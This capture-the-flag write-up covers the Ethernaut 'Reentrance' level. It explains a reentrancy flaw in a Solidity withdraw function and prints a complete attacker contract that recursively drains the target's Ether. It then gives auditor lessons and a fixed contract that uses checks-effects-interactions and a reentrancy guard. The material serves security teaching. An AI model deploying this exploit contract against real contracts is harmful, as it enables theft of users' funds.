🌀 Reentrancy - The Recursion Thief

Challenge Overview

The objective of this level is to steal all the funds from the Reentrance smart contract.

The Catch: The contract implements balance tracking via user donations and allows players to withdraw only what they have donated. We must find a way to withdraw our funds recursively before the contract updates our balance.

Technical Analysis

Vulnerability: Classic Reentrancy (State Modification Order)

The withdraw() function in Reentrance.sol contains a major state-updating flaw:

1
function withdraw(uint256 _amount) public {
2
    if (balances[msg.sender] >= _amount) {
3
        // [VULNERABILITY] External call executed before state update
4
        (bool result,) = msg.sender.call{value: _amount}("");
5
        if (result) {
6
            _amount;
7
        }
8
        // State update performed post-execution
9
        balances[msg.sender] -= _amount;
10
    }
11
}

The Root Cause

This is a textbook reentrancy vulnerability:

1. Unsafe Call Execution: The contract transfers Ether to msg.sender using .call{value: ...}(""). Unlike .transfer(), .call() forwards all remaining gas, allowing the recipient contract to execute complex logic.
2. Delayed Accounting: The contract only subtracts the withdrawn _amount from balances[msg.sender] after the external call completes successfully.
3. Recursive Re-entry: A malicious contract can intercept the Ether transfer inside its receive() function and immediately call withdraw() again. Because balances[msg.sender] has not yet been decremented, the if (balances[msg.sender] >= _amount) check will pass again, leading to recursive withdrawals.

The Exploit: The Multi-Step Solution

1. Deploy an Attack Contract: Deploy an exploit contract with a receive() function designed to re-enter Reentrance.withdraw().
2. Seed the Attack: Donate a small amount (e.g., 0.01 ETH) to the target contract under the attacker contract’s address using donate().
3. Trigger the Reentrancy Loop: Initiate the first withdraw() call.
4. Recursion Drains the Vault: When the target sends the Ether, the attack contract’s receive() function executes and re-enters withdraw() continuously until the target contract is completely drained.

Proof of Concept (PoC)

Below is the Solidity exploit contract:

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.6.12;
3

4
interface IReentrance {
5
    function donate(address _to) external payable;
6
    function withdraw(uint256 _amount) external;
7
}
8

9
contract ReentrancyAttacker {
10
    IReentrance public immutable target;
11
    uint256 public constant donationAmount = 0.01 ether;
12

13
    constructor(address _target) public {
14
        target = IReentrance(_target);
15
    }
16

17
    // Call this function with at least 0.01 ETH to seed the exploit
18
    function attack() external payable {
19
        require(msg.value >= donationAmount, "Not enough seed ETH");
20

21
        // 1. Donate to our own contract's record
22
        target.donate{value: donationAmount}(address(this));
23

24
        // 2. Initiate the first withdraw call
25
        target.withdraw(donationAmount);
26
    }
27

28
    // 3. Receive function triggers the reentrancy recursion
29
    receive() external payable {
30
        // Calculate remaining target balance
31
        uint256 targetBalance = address(target).balance;
32

33
        if (targetBalance > 0) {
34
            // Withdraw either our contribution amount or the remaining balance
35
            uint256 amountToWithdraw = targetBalance < donationAmount ? targetBalance : donationAmount;
36
            target.withdraw(amountToWithdraw);
37
        }
38
    }
39
}

Auditor’s Lessons

1. Checks-Effects-Interactions (CEI) Pattern: Always update all local state variables (Effects) before interacting with external contracts (Interactions). This guarantees that any re-entrant call will read updated state variables.
2. Use Reentrancy Guards: Implement a standard mutex lock (such as OpenZeppelin’s ReentrancyGuard or a custom nonReentrant modifier) to prevent recursive function execution.
3. Limit Forwarded Gas: Be cautious with .call() when sending native currencies, as it forwards all available gas. Ensure it is protected by the CEI pattern or guards.

Remediation

Implement the CEI pattern and apply a reentrancy guard:

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.0;
3

4
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
5

6
contract SecureReentrance is ReentrancyGuard {
7
    mapping(address => uint256) public balances;
8

9
    function donate(address _to) public payable {
10
        balances[_to] += msg.value;
11
    }
12

13
    // Apply the nonReentrant modifier to block recursion
14
    function withdraw(uint256 _amount) public nonReentrant {
15
        require(balances[msg.sender] >= _amount, "Insufficient balance");
16

17
        // 1. Effects: Update the state first
18
        balances[msg.sender] -= _amount;
19

20
        // 2. Interactions: Execute the external call
21
        (bool result, ) = msg.sender.call{value: _amount}("");
22
        require(result, "Transfer failed");
23
    }
24
}